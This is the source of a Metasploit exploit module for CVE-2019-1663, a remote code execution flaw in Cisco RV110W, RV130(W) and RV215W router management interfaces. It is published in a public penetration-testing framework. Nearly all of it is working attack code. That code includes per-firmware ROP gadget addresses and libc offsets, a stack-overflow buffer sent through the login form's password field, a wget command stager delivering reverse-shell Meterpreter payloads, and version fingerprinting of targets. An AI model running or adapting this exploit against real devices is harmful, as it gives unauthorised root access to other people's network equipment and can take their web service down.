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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # linux/armle/meterpreter/bind_tcp -> segfault # linux/armle/meterpreter/reverse_tcp -> segfault # linux/armle/meterpreter_reverse_http -> works # linux/armle/meterpreter_reverse_https -> works # linux/armle/meterpreter_reverse_tcp -> works # linux/armle/shell/bind_tcp -> segfault # linux/armle/shell/reverse_tcp -> segfault # linux/armle/shell_bind_tcp -> segfault # linux/armle/shell_reverse_tcp -> segfault # class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Deprecated moved_from 'exploit/linux/http/cisco_rv130_rmi_rce' def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', 'Description'=> %q{ A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition. }, 'Author' => [ 'Yu Zhang', # Initial discovery (GeekPwn conference) 'Haoliang Lu', # Initial discovery (GeekPwn conference) 'T. Shiomitsu', # Initial discovery (Pen Test Partners) 'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, 'Platform'=>%w[linux], 'Arch'=>[ARCH_ARMLE, ARCH_MIPSLE], 'SessionTypes'=>%w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged'=> true, # BusyBox 'References'=> [ ['CVE', '2019-1663'], ['BID', '107185'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] ], 'DefaultOptions' => { 'WfsDelay' => 10, 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', }, 'Targets'=> [ [ 'Cisco RV110W 1.1.0.9', { 'offset'=> 69, 'libc_base_addr'=> 0x2af06000, 'libcrypto_base_addr' => 0x2ac01000, 'system_offset' => 0x00050d40, 'got_offset'=> 0x0009d560, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.0.9', { 'offset'=> 69, 'libc_base_addr'=> 0x2af08000, 'libcrypto_base_addr' => 0x2ac03000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.0.10', { 'offset'=> 69, 'libc_base_addr'=> 0x2af09000, 'libcrypto_base_addr' => 0x2ac04000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.1.4', { 'offset'=> 69, 'libc_base_addr'=> 0x2af54000, 'libcrypto_base_addr' => 0x2ac4f000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.1.7', { 'offset'=> 69, 'libc_base_addr'=> 0x2af98000, 'libcrypto_base_addr' => 0x2ac4f000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset'=> 446, 'libc_base_addr'=> 0x357fb000, 'system_offset' => 0x0004d144, 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch'=> ARCH_ARMLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', } }, ], [ 'Cisco RV215W 1.1.0.5', { 'offset'=> 69, 'libc_base_addr'=> 0x2af59000, 'libcrypto_base_addr' => 0x2ac54000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.1.0.6', { 'offset'=> 69, 'libc_base_addr'=> 0x2af59000, 'libcrypto_base_addr' => 0x2ac54000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.2.0.14', { 'offset'=> 69, 'libc_base_addr'=> 0x2af5f000, 'libcrypto_base_addr' => 0x2ac5a001, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.2.0.15', { 'offset'=> 69, 'libc_base_addr'=> 0x2af5f000, 'libcrypto_base_addr' => 0x2ac5a000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.3.0.7', { 'offset'=> 77, 'libc_base_addr'=> 0x2afeb000, 'libcrypto_base_addr' => 0x2aca5000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x000a0530, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.3.0.8', { 'offset'=> 77, 'libc_base_addr'=> 0x2afee000, 'libcrypto_base_addr' => 0x2aca5000, 'system_offset' => 0x0004c7e0, 'got_offset'=> 0x000a0530, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch'=> ARCH_MIPSLE, 'DefaultOptions'=> { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], ], 'DisclosureDate'=> 'Feb 27 2019', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], }, )) end def p(lib, offset) [(lib + offset).to_s(16)].pack('H*').reverse end def prepare_shellcode(cmd) case target # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] shellcode = rand_text_alpha(target['offset']) + # filler rand_text_alpha(4) +# $s0 rand_text_alpha(4) +# $s1 rand_text_alpha(4) +# $s2 rand_text_alpha(4) +# $s3 p(target['libc_base_addr'], target['system_offset']) +# $s4 rand_text_alpha(4) +# $s5 rand_text_alpha(4) +# $s6 rand_text_alpha(4) +# $s7 rand_text_alpha(4) +# $s8 p(target['libcrypto_base_addr'], target['gadget1']) + # $ra p(target['libc_base_addr'], target['got_offset']) + rand_text_alpha(28) + cmd shellcode when targets[5] # RV130/RV130W shellcode = rand_text_alpha(target['offset']) + # filler p(target['libc_base_addr'], target['gadget1']) + p(target['libc_base_addr'], target['system_offset']) +# r2 rand_text_alpha(4) +# r6 p(target['libc_base_addr'], target['gadget2']) +# pc cmd shellcode end end def send_request(buffer) begin send_request_cgi({ 'uri' => '/login.cgi', 'method'=> 'POST', 'vars_post' => { "submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": 0, "change_action": "", "enc": 1, "user": rand_text_alpha_lower(5), "pwd": buffer, "sel_lang": "EN" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end def check # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. # We use lang_pack/EN.js because it's the one file that changes the most between versions. # Note that it's not a smoking gun given that some branches keep the exact same files in /www # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) fingerprints = { "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { "version" => "Cisco RV110W 1.1.0.9", "status" =>Exploit::CheckCode::Vulnerable }, "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { "version" => "Cisco RV110W 1.2.0.9", "status" => Exploit::CheckCode::Vulnerable }, "134ee643ec877641030211193a43cc5e93c96a06" => { "version" => "Cisco RV110W 1.2.0.10", "status" => Exploit::CheckCode::Vulnerable }, "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", "status" => Exploit::CheckCode::Unknown }, "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { "version" => "Cisco RV130/RV130W 1.0.0.21", "status" => Exploit::CheckCode::Vulnerable }, "9b1a87b752d11c5ba97dd80d6bae415532615266" => { "version" => "Cisco RV130/RV130W 1.0.1.3", "status" => Exploit::CheckCode::Vulnerable }, "9b6399842ef69cf94409b65c4c61017c862b9d09" => { "version" => "Cisco RV130/RV130W 1.0.2.7", "status" => Exploit::CheckCode::Vulnerable }, "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", "status" => Exploit::CheckCode::Vulnerable }, "8c8e05de96810a02344d96588c09b21c491ede2d" => { "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", "status" => Exploit::CheckCode::Unknown }, "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { "version" => "Cisco RV215W 1.1.0.5", "status" => Exploit::CheckCode::Vulnerable }, "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { "version" => "Cisco RV215W 1.1.0.6", "status" => Exploit::CheckCode::Vulnerable }, "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", "status" => Exploit::CheckCode::Vulnerable }, "050d47ea944eaeadaec08945741e8e380f796741" => { "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", "status" => Exploit::CheckCode::Unknown } } uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) if res && res.code == 200 fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") if fingerprints.key?(fingerprint) print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") return fingerprints[fingerprint]["status"] else print_status("Couldn't reliably fingerprint the target.") end end Exploit::CheckCode::Unknown end def exploit print_status('Sending request') execute_cmdstager end def execute_command(cmd, opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end def on_new_session(session) # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. print_status("Reloading httpd service") reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" else session.shell_command(reload_httpd_service) end ensure super end end |
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